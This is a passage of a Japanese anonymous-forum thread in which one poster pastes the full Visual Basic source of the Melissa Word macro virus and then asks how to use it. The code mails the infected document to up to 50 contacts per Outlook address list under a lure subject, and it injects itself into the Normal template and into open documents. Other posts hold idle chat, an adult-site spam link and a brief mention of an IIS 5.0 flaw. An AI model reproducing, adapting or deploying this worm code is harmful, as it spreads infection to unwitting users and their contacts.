Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice Set UngaDasOutlook = CreateObject("Outlook.Application") Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI") If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo" Then If UngaDasOutlook = "Outlook" Then DasMapiName.Logon "profile", "password" For y = 1 To DasMapiName.AddressLists.Count Set AddyBook = DasMapiName.AddressLists(y) x = 1 Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0) For oo = 1 To AddyBook.AddressEntries.Count Peep = AddyBook.AddressEntries(x) BreakUmOffASlice.Recipients.Add Peep x = x + 1 If x > 50 Then oo = AddyBook.AddressEntries.Count Next oo BreakUmOffASlice.Subject = "Important Message From " & Application.UserName BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)" BreakUmOffASlice.Attachments.Add ActiveDocument.FullName BreakUmOffASlice.Send Peep = "" Next y DasMapiName.Logoff End If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... by Kwyjibo" End If
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1) Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1) NTCL = NTI1.CodeModule.CountOfLines ADCL = ADI1.CodeModule.CountOfLines BGN = 2 If ADI1.Name <> "Melissa" Then If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL Set ToInfect = ADI1 ADI1.Name = "Melissa" DoAD = True End If
0013sine03/03/19 14:41ID:vQcB1l5S If NTI1.Name <> "Melissa" Then If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL Set ToInfect = NTI1 NTI1.Name = "Melissa" DoNT = True End If
If DoNT <> True And DoAD <> True Then GoTo CYA
If DoNT = True Then Do While ADI1.CodeModule.Lines(1, 1) = "" ADI1.CodeModule.DeleteLines 1 Loop ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()") Do While ADI1.CodeModule.Lines(BGN, 1) <> "" ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1) BGN = BGN + 1 Loop End If
If DoAD = True Then Do While NTI1.CodeModule.Lines(1, 1) = "" NTI1.CodeModule.DeleteLines 1 Loop ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()") Do While NTI1.CodeModule.Lines(BGN, 1) <> "" ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1) BGN = BGN + 1 Loop End If
CYA:
If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then ActiveDocument.Saved = True End If
'WORD/Melissa written by Kwyjibo 'Works in both Word 2000 and Word 97 'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide! 'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!
If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here." End Sub 0014sine03/03/19 14:42ID:vQcB1l5S ウイルスコードです (一度にカキコできませんでした) 0015sine03/03/19 14:43ID:vQcB1l5S どうやって使うのでしょうか? 0016DNS未登録さん03/03/19 14:49ID:7mibj/wb ★男はココを見るべし★女と金と???★ ↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓ http://www.pink-angel.jp/betu/linkvp2/linkvp.html0017sine03/03/19 14:49ID:vQcB1l5S 誰か書いてyoー 0018sine03/03/19 14:50ID:vQcB1l5S 僕ちん悲しいyoー 僕って嫌われ者? 0019DNS未登録さん03/03/19 14:51ID:??? なんのためにサーバたてるの? 0020sine03/03/19 14:51ID:vQcB1l5S 16よ私はそのような年ではないのだよ・・・ 0021sine03/03/19 14:52ID:vQcB1l5S ねえねえ、それより自宅サーバーもってるの? 0022sine03/03/19 14:53ID:vQcB1l5S 19よ、それはいえぬ・・・ 0023sine03/03/19 14:55ID:vQcB1l5S すまんのう・・・ おまえさんにはいろいろ迷惑をかけてしまって・・・ 0024sine03/03/19 14:56ID:vQcB1l5S なんてね!(笑) 0025sine03/03/19 14:59ID:vQcB1l5S Windows2000において重大なバグフィックスが発見された。 セキュリティーホールが空いており、 サーバーが乗っ取られる可能性がある。 なおWindows 2000サーバに搭載されたIIS 5.0にのみ影響だってー。 怖いね!